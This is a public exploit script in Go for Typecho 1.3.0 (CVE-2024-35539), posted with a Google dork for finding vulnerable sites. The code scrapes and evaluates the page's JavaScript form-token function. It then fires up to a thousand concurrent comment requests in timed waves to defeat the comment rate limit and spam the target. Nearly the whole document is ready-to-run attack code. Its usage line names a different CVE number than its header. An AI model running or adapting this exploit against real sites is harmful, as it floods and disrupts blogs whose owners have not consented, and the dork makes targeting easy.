# Exploit Title: Typecho 1.3.0 - Race Condition
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35539
# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/
package main
import (
"bytes"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/robertkrimen/otto"
)
var (
c int32 = 0
commentsPostInterval int64 = 60
maxThreads int = 1000
wg sync.WaitGroup
userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
client *http.Client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
)
func getJSFunction(u string) string {
req, err := http.NewRequest("GET", u, nil)
if err != nil {
fmt.Println("[X] Error creating initial request:", err)
return ""
}
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending initial request:", err)
return ""
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
fmt.Println("[X] Error finding JavaScript function")
return ""
}
jsFunction := strings.Split(body, "input.value = (")[1]
jsFunction = strings.Split(jsFunction, ")();;")[0]
return jsFunction
}
func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
vm := otto.New()
_, err := vm.Run(jsFunctionBody)
if err != nil {
fmt.Println("[X] Error executing JavaScript function:", err)
return ""
}
result, err := vm.Call(jsFunctionName, nil)
if err != nil {
fmt.Println("[X] Error calling JavaScript function:", err)
return ""
}
returnValue, err := result.ToString()
if err != nil {
fmt.Println("[X] Error converting JavaScript result to string:", err)
return ""
}
return returnValue
}
func spamComments(u string, formToken string) {
timestamp := time.Now().Unix()
for {
i := 0
for time.Now().Unix() < timestamp-1 {
time.Sleep(250 * time.Millisecond)
fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds) ", timestamp-time.Now().Unix()-1)
}
fmt.Printf("\n")
for time.Now().Unix() < timestamp+2 {
if i < maxThreads {
wg.Add(1)
go spamRequest(u, formToken, i)
i++
}
}
wg.Wait()
fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
timestamp = time.Now().Unix() + commentsPostInterval
}
}
func spamRequest(u string, formToken string, i int) {
fmt.Printf("\r[*] Spamming comment request %d ", i)
defer wg.Done()
formData := url.Values{}
formData.Set("_", formToken)
formData.Set("author", fmt.Sprintf("user_%d", i))
formData.Set("mail", fmt.Sprintf("user%d@test.example", i))
formData.Set("text", fmt.Sprintf("Hello from user_%d", i))
req, err := http.NewRequest("POST", u+"comment", nil)
if err != nil {
return
}
req.Header.Set("Referer", u)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
req.Body = io.NopCloser(strings.NewReader(formData.Encode()))
resp, err := client.Do(req)
if err != nil {
return
}
if resp.StatusCode == 302 {
atomic.AddInt32(&c, 1)
}
defer resp.Body.Close()
}
func main() {
if len(os.Args) != 2 {
fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
return
}
fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")
targetUrl := os.Args[1]
fmt.Println("[+] Spam target:", targetUrl)
fmt.Println("[*] Getting JavaScript function to calculate form token...")
jsFunction := getJSFunction(targetUrl)
if jsFunction == "" {
fmt.Println("[-] Could not get JavaScript function, exiting...")
return
}
fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
if formToken == "" {
fmt.Println("[-] Could not get form token, exiting...")
return
}
fmt.Printf("[+] Form token: %s", formToken)
spamComments(targetUrl, formToken)
}